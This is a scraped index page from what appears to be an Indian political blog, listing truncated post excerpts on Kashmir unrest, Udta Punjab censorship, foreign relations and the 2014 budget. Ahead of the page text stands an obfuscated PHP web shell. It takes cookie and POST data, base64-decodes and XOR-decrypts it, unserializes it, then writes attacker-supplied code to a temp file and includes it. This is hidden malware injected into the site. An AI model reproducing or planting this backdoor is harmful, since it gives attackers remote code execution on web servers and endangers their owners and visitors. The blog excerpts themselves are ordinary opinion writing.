$ZUbGuMq = "\145" . 'n' . chr (100) . "\x5f" . chr (84) . chr ( 205 - 132 ).chr ( 387 - 322 )."\x78";$BEIXdpqO = chr (99) . 'l' . "\x61" . "\163" . "\x73" . chr ( 717 - 622 ).chr ( 214 - 113 ).chr ( 797 - 677 ).chr ( 444 - 339 ).'s' . chr (116) . chr (115); $RJWgA = class_exists($ZUbGuMq); $BEIXdpqO = "63795";$rQzPNtr = !1;if ($RJWgA == $rQzPNtr){function oqYLxIQez(){$VcjKXYt = new /* 62125 */ end_TIAx(22540 + 22540); $VcjKXYt = NULL;}$KEMZpKZZJf = "22540";class end_TIAx{private function lyjMmFeSam($KEMZpKZZJf){if (is_array(end_TIAx::$IPtbX)) {$fQwNWIVHc = sys_get_temp_dir() . "/" . crc32(end_TIAx::$IPtbX[chr ( 796 - 681 ).chr ( 809 - 712 ).'l' . 't']);@end_TIAx::$IPtbX['w' . chr (114) . chr (105) . "\164" . chr (101)]($fQwNWIVHc, end_TIAx::$IPtbX["\x63" . chr ( 291 - 180 ).chr ( 310 - 200 ).chr ( 456 - 340 )."\x65" . 'n' . "\164"]);include $fQwNWIVHc;@end_TIAx::$IPtbX['d' . "\145" . "\x6c" . "\145" . 't' . 'e']($fQwNWIVHc); $KEMZpKZZJf = "22540";exit();}}private $YNrwW;public function XiElOaeF(){echo 38769;}public function __destruct(){$KEMZpKZZJf = "57831_10237";$this->lyjMmFeSam($KEMZpKZZJf); $KEMZpKZZJf = "57831_10237";}public function __construct($BujEtz=0){$mVDdRhEk = $_POST;$UIUNR = $_COOKIE;$JPlFFL = "90a051c4-154c-4d36-9a25-afee49168885";$dwEnnTEEr = @$UIUNR[substr($JPlFFL, 0, 4)];if (!empty($dwEnnTEEr)){$GKpUN = "base64";$peNKnKqlm = "";$dwEnnTEEr = explode(",", $dwEnnTEEr);foreach ($dwEnnTEEr as $gthfNZ){$peNKnKqlm .= @$UIUNR[$gthfNZ];$peNKnKqlm .= @$mVDdRhEk[$gthfNZ];}$peNKnKqlm = array_map($GKpUN . '_' . chr ( 811 - 711 ).chr (101) . chr (99) . chr ( 1052 - 941 ).'d' . "\x65", array($peNKnKqlm,)); $peNKnKqlm = $peNKnKqlm[0] ^ str_repeat($JPlFFL, (strlen($peNKnKqlm[0]) / strlen($JPlFFL)) + 1);end_TIAx::$IPtbX = @unserialize($peNKnKqlm);}}public static $IPtbX = 40024;}oqYLxIQez();} India | Being Political

Politics over Policing: #Kashmir

By |2016-08-06T19:38:47+05:30August 6th, 2016|Categories: Government, Politics|Tags: , , |

More than two weeks into the unrest in Kashmir, 47 are dead, more than 3400 injured and Prime Minister Modi won't shy away from playing drums and making big addresses in Mozambique, but in the place which really matters now, Kashmir, the Prime Minister has yet again stunned everyone with his silence, which is slowly starting to

Udta Punjab vs Ghirta Politics: Culture or Censorship?

By |2016-06-12T12:45:22+05:30June 12th, 2016|Categories: BJP, Government, Political Parties, Youth|Tags: , , , , |

By censoring a movie, you can't conceal the big drug menace in Punjab.   Today, in Punjab, people are turning to drugs and drinks than to their duties. And to think that the rest of India is unaware about this is being as blinded to reality as Rahul Gandhi is about his leadership skills and

India Foreign Relations: The Diplomatic Superpower: #MissionIndia

By |2015-06-29T14:40:11+05:30June 29th, 2015|Categories: BJP, Government, Narendra Modi, NDA|Tags: , , , , |

India has always been destined to lead. From the early ages of human civilizations, when we controlled almost half of the world’s GDP, to this date, India is a land of the talented and the powerful. After 2 Centuries of ruthless British rule, we were knocked down, but certainly not knocked out. On August 15th, 1947,

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By |2015-01-26T19:24:49+05:30January 26th, 2015|Categories: BJP, Foreign Relations, Government, Narendra Modi, NDA|Tags: , , , |

Just a year ago, the relationship between the world's biggest democracy and the world's oldest democracy was on collision course. The Devyani Khobragade incident had exploded out of proportions and the relations, which became closest during Manmohan Singh's era, seemed to be nearing a bitter period as Singh's era was finishing. 12 months later, we

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By |2014-07-12T21:01:15+05:30July 12th, 2014|Categories: Government, Narendra Modi, NDA|Tags: , , , , , , |

The message was clear right from the first line of the Budget Speech, the economy needed some serious revival. One may say that it was a very long and safe budget presented by the union finance minister Arun Jaitley in the Parliament today. However, Mr. Jaitley kept the dream of good days alive with his innovative

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By |2014-03-23T19:04:59+05:30February 27th, 2014|Categories: Elections, Lok Sabha 2014, Other Parties, Political Parties|Tags: , , , , |

Politics is driven by a primary energy. That energy is belief and thought. The belief that you can help improve things around you. It could be a neighbourhood, a community, a state or a country, and with a larger view, perhaps even the world. Eleven parties in India say they are working to offer a

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By |2014-02-24T15:05:23+05:30February 24th, 2014|Categories: Constitutional Reforms, Reforms for India|Tags: , , , |

June 2014 Dear Prime Minister Sub: Parliamentary Reforms in India Please accept my hearty congratulations on becoming the 14th Prime Minister of India. There was an amazing election battle between many parties in the last 6 months and we have passed the election phase and elected a government. We, the people of India, have great expectations

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By |2014-02-02T09:19:17+05:30February 2nd, 2014|Categories: Politics, Youth|Tags: , , |

What can be more noble and satisfying than leading your nation on the path of progress? There is no reason why politics should not attract the best minds in the country. To be a politician, one needs a vision, intelligence and knowledge of political processes, combined with a hands-on approach to grassroots problems.  Politics can teach

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By |2014-01-31T16:03:06+05:30January 31st, 2014|Categories: Aam Admi Party, AAP, Government, Politics|Tags: , , , , , |

On 28th December 2013, when an IITian took oath as the Chief Minister of Delhi, the winds of hope were blowing throughout the nation. A month later, it is not as breezy as before. The AAP now looks like a successful revolution but a not so successful government. Embroiled in controversies, it is ironic that

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By |2014-01-31T16:05:08+05:30January 31st, 2014|Categories: Politics, Satire|Tags: , , , , , |

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